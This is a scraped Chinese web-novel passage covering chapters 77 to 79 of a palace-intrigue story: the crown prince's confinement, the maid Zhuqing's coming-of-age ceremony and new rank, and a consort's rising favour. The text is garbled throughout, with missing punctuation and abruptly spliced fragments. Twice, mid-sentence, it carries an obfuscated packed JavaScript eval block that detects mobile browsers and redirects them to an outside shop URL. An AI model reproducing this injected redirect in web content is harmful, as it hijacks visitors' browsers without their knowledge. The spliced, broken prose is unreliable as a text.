老太监都快要急疯了,在书房里团团转,又低声劝道:“太子殿下哟,咱们不与陛下置气,您乖乖去给陛下认个错好不好?” 太子被禁足,这都是甚麽事! “孤有何错?”太子冷静自若地反问,他说,“不,孤最大的错误,就是跟陛下说了太多,浪费了孤的时间。” “哎呦太子殿下可少说两句罢。”老太监看了看门口,那里正站在带刀侍卫,是专门监督太子的。 太子想,他不过是与陛下说广开民智,在民间设立智慧堂,智慧堂里挂着问题,凡是能解决问题的庶民,都得一份赏 赐以及到京都的机会。 民间有许多实用的物件都不曾传入京都且某些东西换个思路也许能拥有不一样的用处。 再有提拔庶民也许就有来自平民的读书人得了机遇在他们面前出头日后有幸步入朝堂是切切实实效忠皇帝的。这样的人多几个亦或是十几个就能慢慢与世家权贵抗衡。 太子不喜出身名门望族的人把握朝堂像如今的上官氏他们虽然支持皇帝但是内里不可能一点私心都没有况且外部不平静若来日沿海的倭寇、草原上的羌族与胡族、南边的混察族都对大文发起进攻皇帝想要打仗都得经过大臣们的同意。 多憋屈! 书桌上的白纸上逐渐有字龙飞凤舞的大字彰显着主人的大气偶尔有几滴墨水滴落显示着太子内心的不平静。 他还能顺利继位麽?大文朝会不会没落? 他真的对父皇失望了原以为经过先帝的教导他与他的想法会一致可是不曾想在这样的大好时机里父皇会选择回避。 这样一来有些事就不适合明面上去做倒不如他自己私底下尝试如果效果拔众所有好处都落到了他的袋里。 * 头一回椒房殿送去勤政殿的汤水被原封不动地退回来皇后面无表情只是双眼含有怒火她拿起一旁的抱枕揉搓起来仿佛手下的不是个抱枕而是某个人。 御前的事没有传出来皇后也只知道太子惹怒了陛下却不知道具体原因。 翌日早朝上有老臣给太子求情遭到了陛下的训斥。 “太子既然有错就得罚朕的命令岂能收回?不可能朝令夕改不过几日也不碍事。教他静静心如此最好。”皇帝说他想起昨日太子对他说的话就忍不住生气。 还有一丝难以察觉的恐惧。 太子才多大?竟然就想到要削弱世家了甚至侃侃而谈从智慧堂说到海战犹如一颗熠熠生辉的明珠让人想忽视都难。 可偏偏他不是皇帝他是太子。 皇帝看向下边的文武百官这里有多少人是真正的忠心于他 “陛下息怒。”大臣们纷纷跪下皇帝的想法他们能揣摩一二自然知道他不悦。 从前太子还是皇太孙的时候,能去勤政殿批折子,能去上早朝,拱卫京都的北大军营能来去自如。 可自从他当太子之后,这些待遇都没有了。 皇帝与太子,君主与臣子,父与子。 皇室哪里有父子? 所幸禁足的时间本就不长,太子很快出了东宫,过了这一茬儿,太子一下子沉寂下来,去了勤政殿也只是老老实实地递交功课,旁的是一点也不多说。 到了椒房殿,太子才会感觉到一丝松快,他捧着碗吃得津津有味,与皇后说道:“还是母后这儿的饭菜合口味。” “那你多吃点。”皇后顾不上自己吃,可劲儿地给太子夹菜,“琮哥儿,你瘦了。” 这是太子禁足几日后,隔了十来日才来椒房殿,皇后只觉得太子消瘦了不少。 “母后不必担心,儿子会好好的。”太子说,他此次来椒房殿,除了让皇后安心之外,还有一事。 “儿子想在安州以商人的名义设立善用馆,出一些问题,能答的上来的就进商人的家做事……”吃完晚膳,太子慢条斯理地说道,既然不能以皇室的名义做,那就以个人的名义。 安州是外祖父长久呆的地方,势力早已渗透其中,故而在安州试点挺安全的。 “如果有官员把消息传回来怎麽办?”皇后问,太子露出一个笑容,“母后不必担心,负责上折子到勤政殿的太监是我的人。”他会阻拦有关这部分折子的,且他的念想想要实现并且有成果,至少得半年。 先帝不是甚麽都没有留给他,效忠于先帝的太监、外放的官员,很大一部分都给了他。 只不过这些人,现在暂且不能出头,不然遭了皇帝的眼,反倒不好。 “你是想我帮你?”皇后低声问太子,既然是在安州,那必然得用到姜家的人脉,太子点头,说道:“是,除了母后,我谁也不信。” 他与母后,一荣俱荣一损俱损,最想他地位稳固的,定是皇后。 “有些事情,需得现在做起,往后才能见到效果,除了选拔民间的能人志士,我还想瞧一瞧新式海船,还有操练海军……”太子一一说着自己的计划,其中的宏图大志似乎只能窥视一角。 皇后很欣慰,她说,“想做甚麽只管去做,你父 皇被朝堂的事绊住了脚是断然不会有那样多心思与时间去办这些事的。” 太子的打算其实很大程度上触碰到了世家权贵的利益如果他大动干戈去做不必想阻碍重重。 “是所以儿子想要私底下安排人做 皇后提出一些建议又细细与太子商讨如此才定下来了一份可实现的计划。 说完正事竹清给他们上了消食的山楂茶太子喝着山楂茶一下子酸得他皱了皱脸待他一口气喝完又恢复了那副平静的样子。 他说“太后也时常让人送东西去东宫有时候是吃食有时候是衣裳荷包帕子这些更是不断。” “太后也是想对你好压个宝而已到底与咱们没有任何血缘干系上官氏也不可能完完全全为你考虑。”皇后说她每日去给太后请安两个人面和心不和都各自有打算。 “对了先前有一事我一直没有与你说上官氏的夫人想要把她的女儿嫁给你作太子妃太后回绝了。” 太子倒真不知道这些事情他注意力全在前朝以及边关上后宫的暗流涌动多半与他无关。 “太后也是为大局考虑。”太子想了想“上官氏不可能再出一位皇后陛下不会答应大臣们也不会同意。” “而且上官氏的姐儿据说都是娇养长大进宫了定多有不适。”这话倒不是太子自己打听的他时常与伴读以及一些哥儿讨论功课闲暇时他们会说到心仪的女子。 倒没有人说上官氏的姐儿娶回来要哄着这可不成。 “这错了。从前上官氏势力还没有那麽大时大姐儿二姐儿那些小娘子还是很温和有礼的也是上官氏出了一位太后加之前朝得势小一点的姐儿就娇气了些。”皇后说不过他们的哥儿培养得好姐儿娇宠无妨左右在家里只得快活十来年。 太子听着并不言语。 宫中的氛围受影响像柳妃因着五皇子受宠竟也有几分得意了只是不知还能得意多久。 * 竹清拿出一匹浮光锦这是皇后赏赐给她的她一直放着没有做成衣裳如今预备着拿去绣园寻一个绣娘 ,得空就帮她制一身体面的衣裳。 “竹清姑娘来了,这边请。绣园嬷嬷赶忙出来迎,见了她手上的东西,就知道她想做甚,不用竹清开口,就先介绍了两位绣娘。 “哟,这是…… “争权夺利,无视了宫规还有绣园的规矩,这下是压去殿中省,消名。绣园嬷嬷说,“只是这样一来,绣园其他绣娘的活计就重了许多。 少了一批宫女,下个月就能补上另外一批,因为下边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13498262|131526||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 早有记册,不够人只管去按照花名册上的一个个带回来就是。 但是绣娘不行,没有精细的技艺,不可能入宫当绣娘,所以一时半会的,绣园就得缺两个绣娘。 “那我的衣裳……竹清食指点了点浮光锦,看着绣园嬷嬷笑了笑。 “欸,竹清姑娘不必担心,你的衣裳保管在约定的时间内制好,半分不出错。绣园嬷嬷说,这还不止,她又说道:“我观这一匹浮光锦不止能做一身衣裳,还能做一些手帕荷包,亦或是长长的巾子,竹清姑娘可有想要的?我让那绣娘一并做了。 一整套的才风光不是麽? “那就按照嬷嬷说的,一并做了,到那日我都带上,到那日嬷嬷也瞧瞧。竹清说,自梳宴她邀请了绣园的嬷嬷。 “那我可要帮着竹清姑娘盯紧了,万分不能出差错。 这样客套一番,竹清放下东西与银子就走了,趁有时间,拐个弯去看看霜玉姑姑,只是不巧,霜玉姑姑似乎心情不佳。 “干娘这是怎的了?我方才去教坊司寻你,她们说你回来了,可是有不顺心的地儿?竹清给霜玉姑姑揉太阳穴,让她放松放松。 “唉。老了还要遭骂。霜玉姑姑吐出一口气,“柳妃宫里有几个小宫女毛手毛脚,本也不是大事,柳妃偏偏抓住不放,还训斥了教坊司上下一干人无用。 “我打听到消息,那个宫女压根儿不是差事上不妥,而是卖弄风情,被其他宫女举报她想要攀附陛下。 五皇子得宠,柳妃便也渐渐嚣张起来,训斥教坊司也敢。 “不止如此,皇后娘娘还派人来传旨意,教坊司上下罚一个月月例。就是方才的事 ,你去了绣园,可能还没听到消息,我的头都痛了。霜玉姑姑说,她们能管教小宫女行为举止,难不成还能管她野心大不大麽? “罢了,不说这个了,没得意思。霜玉姑姑挥挥手,“你来找我有甚麽事? 竹清拿出一张单子,递给霜玉姑姑,“这是自梳宴置办的货物,干娘瞧瞧有没有遗漏,若是有,得赶紧着去采买。 毕竟不能时常出宫,让旁人带进来也是需要时间的。 “我看看,你到时候请哪个作你的簪梳人?霜玉姑姑问,簪梳人就是帮竹清梳妇人头的娘子,得请那些手艺好的梳头娘子。 “干娘可有推荐?竹清问,霜玉姑姑说了一个名字,竹清就预备着待会儿去找她。 “还有一事,那招儿最近神不思属,我跟殿中省说,要是她考核不通过,就把她留在教坊司呆个一年半载,过后让她去长街扫马桶。霜玉姑姑很腻味招儿那模样,旁的小宫女都正正经经学规矩,偏偏她不是,三天两头就惹出一点小事。 “唔。 “干娘对我真好。竹清说,霜玉姑姑对她是真的没话说了,古代的认干亲不是口头一句话,而是摆过仪式,日后她们就跟亲人一般的。 * 宫里的日子总是枯燥乏味的,日复一日的做着相同的事情,在四月中旬的时候,自梳宴的事宜就安排妥当了。 竹清请了好些人,雯棉姑姑、暖玉姑姑、林忠海、钟公公、绣园的嬷嬷……加起来刚刚好两桌子人。 都是有权柄在手的,也乐意与竹清交好,所以都许诺会带着厚礼来。 六月初八,竹清生辰的前一日,皇后忽然把竹清叫了过去,今儿不是竹清守夜,她原本预备着晚上制香的。 “皇后娘娘寻奴婢?竹清轻声问道,皇后坐在榻上,一只手搭在矮桌上,一只手轻轻拍了拍旁边的位置,说道:“竹清,坐到本宫身边来。 “欸。竹清很顺从,“娘娘可是有体己话要与奴婢说?奴婢都听着。 “竹清,想当年你小小一个就到了本宫身边伺候,如今一眨眼,已经25 岁了本宫也老去真是岁月不饶人。”皇后感慨她以前从来没有想过身边会一直有个人陪着她。 毕竟丫鬟宫女都是没了一个就有另外一个左不过是名字不同其他的没甚麽两样。 但是竹清却是有些不一样的在模样差不多、性情相似的众多贴身侍女中她独树一帜就那般一路立功随着她到了椒房殿当了掌事宫女。 “明日本宫会把椒房殿所有的宫女太监集合起来当众赏赐一些物件给你还有向他们宣布你日后就是椒房殿的掌事姑姑。”皇后说罢笑着拢了拢头发又继续说道:“除此之外本宫还让小厨房做了几道菜就当是给你的添菜。” 竹清眼睛一亮仿佛受到了天大的恩赐连忙说道:“奴婢多谢皇后娘娘有了娘娘的赏菜奴婢定能出个风头。” 虽然两道菜不过味道好一点但是背后含义不言而喻。 “先别急着谢本宫这个才是本宫给你的自梳的贺礼。”皇后点了点桌上的纸张在竹清的疑惑的眼神中她拿起来那张纸轻飘飘的“这是当初你卖身的死契本宫就当没见过这张纸。” 竹清接过卖身契仔仔细细看了起来真的是! “烧了罢就当不存在。本宫已经安排好了以后你就是良籍将来不想伺候本宫了随意出宫去做个营生亦或是寻个干女儿干儿子养老……” 竹清摇了摇头“哪怕是良籍奴婢也要伺候皇后娘娘。”她可不想年纪轻轻就出宫去一个小娘子在外头过着富裕的日子无异于小儿抱金过集市。 在宫里才是她想要过的生活富贵、体面。 皇后火烛推到竹清手边竹清把卖身契放到火烛上不一会儿卖身契就变成一堆灰烬。 “既如此往后本宫与你就是雇佣关系。”皇后不怕竹清背刺她看人的眼光她还是有的。 “欸。”竹清说她控制不住地想如今她已经是许多人羡慕的对象了罢? 有皇后的信任攒到了许多金银恢复了良籍单一件拎出来都能教人嫉妒。 作者有话要说 第 78 章 竹清自梳 第78章竹清自梳 六月初九,天大晴无风喜鹊登枝。 竹清的发髻挽成干净利落的妇人髻,替她梳头的娘子打开妆奁小心翼翼地捧出里头准备好的一套头面。 头面并不繁丽都是不带流苏的珠钗,带着少许的点翠,那娘子把珠钗戴上去又调整好位置随后与竹清说道:“这首饰真好看,有点翠,可是皇后娘娘赏赐的?” 点翠工艺难得,竹清指尖摸上那处回答道:“正是,只不过我这是第一次带。” “已经梳好了,你看看妥不妥当?”梳头娘子问,她眼里满是艳羡。 “好了。”竹清起身,屋内候着的两个小宫女就打开房门。 椒房殿的院中,乌泱泱地站着好几排宫女太监,人虽然多,却鸦雀无声,一个个都像是等待着甚麽。正殿门口皇后娘娘闭目端坐,直到听见了开门声音她才掀开眼皮子,望向那处。 走出来的人发髻简单,头饰几样但贵气矜贵,手上的镯子珠串叮叮当当。她穿着一身微微泛光的浮光锦紫红色的衣裳被她的气度压住显得相宜。 “奴婢参见皇后娘娘娘娘金安。”竹清款款走到皇后娘娘跟前行礼皇后颔首“平身罢。” “是。”竹清转身面对底下的宫女太监们她神色平静听着皇后娘娘的声音在身边响起 一众小宫女小太监整齐划一地说道:“谨遵皇后娘娘教诲奴婢/奴才们见过竹清姑姑。” 如此这仪式就成了。 “这是本宫给你的赏赐。”皇后说她大可以昨晚就给不过当着他们的面给竹清做脸罢了。 “奴婢谢皇后娘娘赏赐。” 皇后给的赏赐很多像首饰这些都是小玩意占大头的是房契与田契二十亩上等田呢!请上一些佃农替她耕作一年下来也能收成不少。 这是竹清安身立命的根本。 待仪式结束,竹清就出了椒房殿,她去往霜玉姑姑住的院子,里头正热闹着,三三俩俩的人凑堆说小话,你来我往,声音不算大,一派鲜活的模样。 “哟,瞧瞧这是谁来了?打扮得如此标志,我差点都认不出来了。雯棉姑姑打趣道,她拉着竹清解释道:“你干娘帮你处理贺礼,暂时不得空,这便由我替你把持着。 “欸。竹清应了,又笑着与他们打了招呼,待看见某一个人,她又微微惊喜地问道:“暖玉姑姑,你今儿不是有差事,不打算来了麽? “我紧赶慢赶的做完了,又与旁人换了当差的时间。暖玉姑姑说,“你这样的大日子,我岂能不来? 竹清与他们说说笑笑,随后又进了内室看他们赠送的贺礼,桌子都摆不下,一个个盒子敞开,晒出来里头价值不菲的物件。 有首饰、古董字画、昂贵的布匹、用于解闷的玉棋盘……简直看不过来了。 “干娘。竹清唤了一声,又低头拿起玉旗棋子摸了起来,触手生润,“这是谁送的? “暖玉姑姑,她听闻你时常与皇后娘娘下棋,就投其所好,送了你这个,让你有得顽。霜玉姑姑说。 “唔,她真好。 待到时候差不多了,就预备着用午膳,饭菜都是御膳房的厨子做的,虽然因着食材不算金贵,味道差一点点,但是依旧是一桌子体面的宴席,更别提还有皇后娘娘赏赐的菜式。 众人今日只请了半天假,故而桌上没有酒,竹清以茶代酒,挨个敬了。 胡吃海喝之后,他们散了,只有雯棉姑姑与暖玉姑姑留下来,帮着收拾贺礼。 “这些就放在我这儿,别进进出出地搬,麻烦又惹眼。霜玉姑姑指了指那些大件,竹清受宠,但也不能把这麽多东西带进椒房殿。 “这棋盘我带回去,还有玉佩以及手串。玉佩是霜玉姑姑送的,高僧开过光,保平安用的。手串被雯棉姑姑亲自戴在竹清的手上,她说,“这不就直接带回去了?左右都是我送你的,你自己用了更好。 “好。竹清与她们又聊了许多,大多数是八卦,譬如哪个小宫女与小太监对食,哪个嬷嬷扣扣搜搜,最喜欢克扣下面人的份例。 “你们两个聊罢,我回去歇着了,下午还有差 事。”雯棉姑姑与暖玉姑姑离开了。 “有一事我与你说那绣园的马嬷嬷与我不是一路人先前她偷偷昧下教坊司宫女们的衣料被我一通教训了只怕她心里不服气连带着对你也有了意见。”霜玉姑姑说“你要小心她使坏。” “干娘不用担心。”竹清知道马嬷嬷她与今日来参宴的绣园大嬷嬷不是一条船上的人仗着有个亲娘在太后宫里伺候很是嚣张的。 但是她也不差。 “行了你回去罢椒房殿的宫女太监们指不定扎堆给你送礼呢你回去好好受了日后再给他们回礼就是千万别推脱不要。这自梳的大日子不兴往外推辞。”霜玉姑姑叮嘱了好几句待竹清真的听进去了她才放人。 如同霜玉姑姑所料竹清刚回到住处不久宫女们率先敲门送礼“竹清姑姑这是咱们几个凑的不是甚麽好礼但是是咱们的一片心意还请姑姑笑纳。” 小宫女们紧张得很生怕竹清姑姑不要。 “多谢你们来我拿些蜜饯果脯给你们甜甜嘴。”竹清来者不拒 待到竹清准备关门就听见了脚步声她侧头看去矮个子的红花正拿了一个荷包走来。 “竹清姑姑。”红花高兴地唤她又宝贝似的把荷包捧在掌心里说道:“竹清姑姑这是我给你做的祝贺你自梳。只是我没有甚麽好布料也没有甚麽好手艺。” 她手心里的荷花委实算不得好看用料也不是鲜艳夺目的教人没有戴的欲望。 “很不错了毕竟你没有专门学过刺绣。”竹清拿过荷包又与红花说了两句红花这才兴高采烈地离开了。 她没有想到竹清姑姑真的会要那个荷包那是她熬了几个夜晚做出来的其他人不带她一起她就自己送待下回有了好东西又送给竹清姑姑! 竹清收到了许多礼品她分类好又把它们一一装进箱笼里并不打算拿出来用。小宫女们再如何凑钱送礼终归没有多大的本钱送好东西都是寻常之物。 * 六月中下旬皇帝为明文长公主赐婚了命她明年与安国公府的嫡幼子荀哥儿成婚。圣旨一下明文长公主忽 的就紧张惆怅起来,她当小娘子的自由时光不多了。 “去安国公府参加宴席?”皇后问,见明文长公主羞涩的低头,她就点点头,应允了,“既然你想要去散散心,那便去罢。这样也好,提前与安国公府的女眷们认个脸,不至于快要成婚了还一无所知。” “启禀皇后娘娘,陛下带了五皇子去勤政殿,还说这些天让五皇子留宿勤政殿。”竹清急匆匆走进来,一开口就是不得了的消息。 “甚麽?父皇他……”明文长公主震惊,她吸气,“父皇这般宠爱抬举五皇子麽?”太子都没有这样的殊荣能留宿勤政殿,而五皇子,居然受宠到这个地步。 皇后明显更加沉得住气,她微微讥笑,道:“这还少麽?亲自过问五皇子的衣食住行,又时常赐五皇子各色各样的菜式,只要他想要的,大多都会答应。” 皇帝宠爱五皇子,冷落了太子,以为旁人没有眼睛看不出来?亦或者是,他就是想要让其他人看出来! “呵。”皇后意味不明地冷笑,明文长公主在一旁,思绪万千,嘴角蠕动几下后,终究忍不住,与皇后说道:“母后,咱们可是要想想法子,若是那五皇子一直受宠,那琮哥儿……”谁也不能保证皇帝不会昏聩,万一过个十来年,五皇子大了,皇帝的心偏移,想要让五皇子当太子可怎麽好? 明文长公主很清楚,她能有如今的好日子,是因着母亲是皇后,嫡亲弟弟是太子,可如果来日皇位上的人不是琮哥儿,她的荣耀,也就到头了。 “母后,咱们断不能让他有机会。”明文长公主说,她看向皇后,说道:“母后,您怎麽看?” 皇后的手有一下没一下地摸着玉如意,冷笑着说道:“太子之位是我琮哥儿的,将来那个位置也是,旁人不可能沾染。” 她不屑于对几岁的孩子出手,如此,便只能解决另外一个人。 如果来日储君地位不稳,皇帝想要废太子,那麽她便只能做出大逆不道之事——弑君。 “陛下啊陛下……”皇后喃喃自语,您最好不要有废太子的念头,不然她的手,就要染血了! “竹清,你去东宫告诉琮哥儿,让他晚上来椒房殿用膳,还有敏姐儿你,今晚就不用回去了,留在这儿,我有话与你还有琮哥儿说。”皇后说,皇帝的举动让 她不得不改变想法,或许,早日谋算才是道理。 “欸,奴婢现在就去。”竹清说。 “皇后娘娘,陛下去了柳妃宫里。”有小宫女说,“今儿陛下翻了柳妃的牌子。” “你下去。”皇后吩咐,待小宫女悄无声息退出去后,皇后才忽然与明文长公主说道:“敏姐儿,不要相信自己的夫君会有真心。” 从前的海誓山盟皆算不得数,唯有权力才能恒久。 “敏姐儿知道了。”明文长公主低声说,她知道皇后心情不佳,便把脸贴在她的手上,说道:“母后,敏姐儿与琮哥儿会一直陪着你的。” “好,母后也会一直在你们身边。”皇后抬手摸着明文长公主的脸,眼神却愈发冷凝,她会保护在自己的孩子们,不会让他们的地位受到一丝一毫的影响。 晚膳时分,皇后、太子以及明文长公主刚落座,就又听说皇帝赏赐了柳妃,流水似的东西一件件送进她的宫中,一时间,柳妃宠冠后宫,成了皇后底下的第一人。 后宫中消息传得快,不到半个时辰,上下都知道了柳妃盛宠。 “娘娘,明日请安,只怕柳妃又要得意了。”舒妃的贴身宫女端来一碟子话梅,看舒妃在绣肚兜,她也就静默了。 “本宫知道你在担心甚麽,可是陛下是不可能马上晋封柳妃为贵妃的,顶多赐她一个封号。再则,她还能越过皇后娘娘麽?”舒妃淡淡地说道,柳妃与五皇子得宠,最急的不是她,而是皇后与太子,不过现在才哪到哪? 一点点赏赐而已,又不是要培养五皇子了,皇后也不会立马出手,但是总归她开始提防起来,并且想着,如果真的有那一天,她会以甚麽样的法子替琮哥儿守住他的太子之位? 贴身宫女有些想不明白,问舒妃,“娘娘,您说陛下为何喜欢五皇子?论聪慧有礼,当属太子殿下,若论斯文腹有诗书气自华,当论咱们的二皇子,若论机灵,非崔贵嫔生的四皇子莫属。那柳妃的五皇子个个不占,怎的得了陛下的喜爱?” “活泼,不知事。”舒妃说,看贴身宫女不解的眼神,她说,“主意太多的人总是会被忌惮的。” 像五皇子天真不喑世事,岂不是刚刚好满足陛下想要做一个慈父的心思?只是可惜,只怕再这样下去,皇后与太子可不会 束手旁观。 陛下想要打压太子,恐怕会适得其反,太子不是一个不还手的人,陛下也不怕搬起石头砸自己的脚。 “早些睡罢,明日还得看大戏呢,柳妃与皇后娘娘的戏。舒妃说,她很想知道,有了陛下的支持,柳妃能做到甚麽程度? 凭着柳妃的脑子,真的能与皇后抗衡吗? 椒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“我记得归义大将军有几个儿子,貌似有他的风姿,以后打仗应该也是几个好将军。皇后说,她略微遗憾地说道:“可惜不能联姻。 他的儿子站队,他就离不远了。 “母后不必担心,他虽然不站儿臣,但是他能与威德大将军抗衡,这就够了。 不死。 明面上风流浪荡,不问朝堂的事,内里却手段不断,对皇位的觊觎不曾少。 “平衡之道,是皇祖父教给儿臣的。太子似乎有一瞬间的失落,复又打起精神来,与皇后以及明文长公主说道:“儿臣今日见到了一封折子,是文英公主呈上来的。科查尔又要动乱了,她请求父皇下令出兵,协助她平乱。 “文英公主不是有了身孕麽?五六个月了罢?她还能处理这些事麽?明文长公主惊讶,太子点头,“她能!科查尔现在已经在她的掌握中,一部二部也尽归于她,唯有三部以及七部八部,不肯认她,焦灼了许久。 “她不打算继续等了,应该是想借力,一把平定,只是没了三部这个威胁,一部二部的人真的没有想法吗?皇后说,只可惜她不曾在局中,所以想象不出来情况到底如何。 “竹清,去本宫库房找一些金银,在漠州换成药材、粮食、布匹,然后以本宫的名义给文英公主送去。她收拢人心需要用到这些东西,还有金银也留一些给她,等她自己安排。皇后说,如果文英公主真的有能力掌握羌族,那她必定下注,说不定以后能为她自己拉一个强力盟友。 “欸。竹清说,皇后的库房都是她管着,钥匙一天到晚别在腰带上,她转过脚步,去了库房那边。 “竹清姑姑好。守着的一个小宫女打着盹儿,她原本迷迷瞪瞪的,一见到竹清那张脸,顿时吓得一个激灵,赶忙慌慌张张地问道:“竹清姑姑,您可是有甚麽事情? 近日皇后娘娘吩咐要把库房里头的东西拿出来擦洗,所以库房派了两个小宫女守着,只是这会儿,另外一个小宫女不见了。 竹清想了想今日值班的人,问她,“青雨呢?去哪儿了? “回竹清姑姑的话,青雨肚子疼,去、去更衣了。小宫女磕磕绊绊地说,明显不常说谎话,小脸白了又白,说出口的措辞无力。 “是吗? “欸。菊儿屈了屈膝盖,那小宫女更加慌张了,低着头搅着手,衣摆被她揉皱。 侧边响起来了两个脚步声,竹清没有去看,下一秒,菊儿 就说道:“竹清姑姑,我在茶水间找到了青雨,她在吃茶尝糕点,并不是去了更衣。 青雨跟着菊儿身后,见此情形还有甚麽不知道的,不过她第一个反应不是认错,而是暼了守门的宫女一眼,很生气的模样。 “我问你话呢,你左右往哪里看?我的话都当成耳旁风了?由得着你随意敷衍?竹清喝骂青雨,她要是认个错,这事也就轻拿轻放,可是她这个样子,不给个教训是不行的。 “青雨这三日去扫廊道,与红花换个差事,教红花来这里守着。竹清说,这点子权力,她还是有的。 “竹清姑姑! 要是让她们知道她去扫廊道,不出半日,脸就丢尽了。她不想去,可是竹清姑姑没有说话,而是严肃着脸庞,那双眼神像烛火一般明亮,只一眼,就让她乖乖听话。 “是,青雨知道了,会听竹清姑姑的命令。青雨垂头丧气的,菊儿也说道:“竹清姑姑,我会把这件事告知红花,您不必担心。 “嗯。竹清点头,不再看青雨,她解下钥匙,打开了库房。里面一部分物件才擦过,正鲜亮干净着,她便把手放上去摸了摸,又拿出库房单子仔仔细细看起来。 “纸与笔。竹清吩咐,菊儿拿出库房存放着的笔墨纸砚,又在桌面上摆好。竹清坐下,一边对照单子一边写字,她写下来的就是要赏赐给文英公主的物件。 “竹清姑姑仔细手疼眼睛累,不若我替您写?您只管说给我听,我一字不差一字不错地写给您看。菊儿不肯放过一个表现的机会。 竹清应允了,让她坐到旁边。 作者有话要说 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 第 79 章 选秀 第79章选秀 第二日一早,就有皇帝的口谕传来,柳妃赐封号昭,日后她就是昭妃了。 因着有了封号,昭妃来请安的时候穿戴十分隆重,不但把舒妃压了过去,甚至隐隐有些与皇后别苗头的意思。 “臣妾等参见皇后娘娘,皇后娘娘万福金安。”众妃齐齐起身向皇后娘娘行礼,待皇后娘娘让平身,昭妃率先坐下。 “竹清,上茶。”皇后说罢,看向昭妃,“妹妹有喜事,难怪今日格外光彩照人,与往日有所不同。” 昭妃面露得意,她自个也想不到陛下如此钟爱于她,不仅让她的皇子在勤政殿小住几日,还给她拟了一个寓意深远的封号,昭,这不比舒字要好? 舒妃看昭妃的模样就知道她在想甚麽,故而先开口,“还未贺妹妹的喜事,不知妹妹打不打算摆宴席?也好让咱们热闹热闹。” “自是要的。”昭妃扫了舒妃一眼,不满她做主,“皇后娘娘,臣妾想着三日后在清凉殿请个外头的戏班子回来,让诸位姐妹都能顽闹一番,可好?” “外头的戏班子?”皇后挑眉,问她,“宫中不是有伶人戏子麽?何必舍近求远,巴巴儿地去到宫外寻?” “宫里头的戏臣妾都看腻了,不若去寻些新鲜的,也好让咱们都瞧瞧外头的戏变得如何了。”昭妃这麽说,皇后想着到底不是甚麽大事,也就应了她。 皇帝现在宠着她,也不知道是不是想抬举她制衡自个,皇后现在暂时不会与昭妃起争执,顺着她哄着她,待捧她到了一定的高度之后,看是她先忍不住,还是皇帝先忍不住。 呵。 “也罢,此事交给殿中省去办。”皇后吩咐,自有人去与殿中省说,只是这样一来,殿中省的人背地里就开始埋怨昭妃多事,他们无缘无故多了一桩事要办,偏偏又没有赏钱。 椒房殿来告知此事的姑姑走了后,有个老太监与林忠海抱怨,“且看昭妃那样,办好了不一定有银钱拿,办得不好了让她不虞或者跌份儿了,铁定没有好果子吃。” 林忠海安抚他,“只管去办罢,你还能与主子掰扯?只尽心办妥当,也就是了。要是咱们没有错,皇后娘娘难不成还能容她罚咱们?” “也是,那我便 去了。 待到三日后,皇后带着人到了清凉殿,其余妃嫔以及公主们早已等候多时,见皇后来了,纷纷起身行礼。待皇后叫起,昭妃就接过戏折子递给皇后,“请皇后娘娘先点戏,这个戏班子在盛京城都有名儿的,戏折子上面的戏都是他们叫好叫座的。 “嗯。皇后点了几出,又让昭妃点。 不多时,就开演了。 今日恰好是一个月一次的罢学日,皇子们不必去勤学殿读书,故而昭妃把几个皇子也请来了,正与公主们坐在皇后娘娘后头。 只是太子不在,昭妃就与皇后说道:“难怪太子殿下出众,臣妾使了人去东宫请太子殿下,殿下说温习功课,真是教诸位皇子自愧不如。 你说五皇子自愧不如就罢了,到底是自己的孩子随便自己说,但是怎的拉扯上其他的皇子?这不是挑事麽? “昭妃这是哪儿的话?皇子们每日去勤学殿,风雨无阻的,累了一个月,难不罢学日还不能快活快活麽?太子是储君,他不肯放松自个,本宫倒还安心。皇后说,舒妃头一个说道:“是极是极,皇后娘娘所言甚是有道理。 “太子殿下是表率,自然不能轻易松懈。臣妾的二皇子只需要平安健康就好了,不必拼了命一般去学,他呀,是个没心没肺的,也不觉得自己有何不足,更没有昭妃所说的‘自愧不如’。舒妃好一顿说,直把昭妃的脸色讲得通红。 “臣妾失言,还请皇后娘娘恕罪。昭妃请罪,皇后却像没听见一般,慢慢喝了一杯酒,又自斟自饮,过了好半响,清凉殿里只能听见戏子咿咿呀呀的声音。 几个戏子却也慢慢停了,站在台上不知所措,皇后抬手,“继续。等他们又接着演之后,她这才看向昭妃,警告道:“昭妃,宫规可还记得?储君岂是后妃可以随意议论的?这次本宫暂且不重罚你,罚你月例三个月。 “是,臣妾领罚。昭妃再不敢多说,得了皇后的话,就坐下了,华裙下,她的腿不受控制地微微颤抖,这是半蹲久了的后遗症。 “母后,您瞧瞧那个。明文长公主坐在皇后身边,与皇后咬耳朵,“他怎的行为举止都像极了一个小娘子?像是骨子里透出来的。 皇后不言语,在明 文长公主手心写了几个字,明文长公主眼睛顿时瞪圆了,兔儿爷,断袖? 有些眼力劲的都能看出来。 昭妃出了糗之后彻彻底底安静下来,其他妃嫔也沉浸在戏中,待所有戏曲演完,皇后赏赐了他们,昭妃与舒妃紧随其后,然后是各位贵嫔。 这就散了,只是晚间,还没到用膳的时候,却忽然听闻昭妃要给两个嬷嬷上刑,狠狠地打板子。 昭妃住在西六宫,管着西六宫的嬷嬷是竹清一手提拔上去的,故而一听见昭妃发作两个嬷嬷,她就立刻告诉了竹清。 竹清禀报给皇后,皇后紧赶慢赶来到了昭妃宫里,那两个嬷嬷已经让人压在长凳上,预备着打了。 “皇后娘娘驾到——”不管是昭妃,还是行刑的太监,俱都跪下了。 “昭妃,宫中不可动用私刑,你可知道?”皇后坐在椅子上,语气冰凉严肃,“犯了宫规,你担得起麽?” 前几日才得了一个封号,今日就在宫里头用刑,昭妃把“肆意妄为”四个字演绎得淋漓尽致。 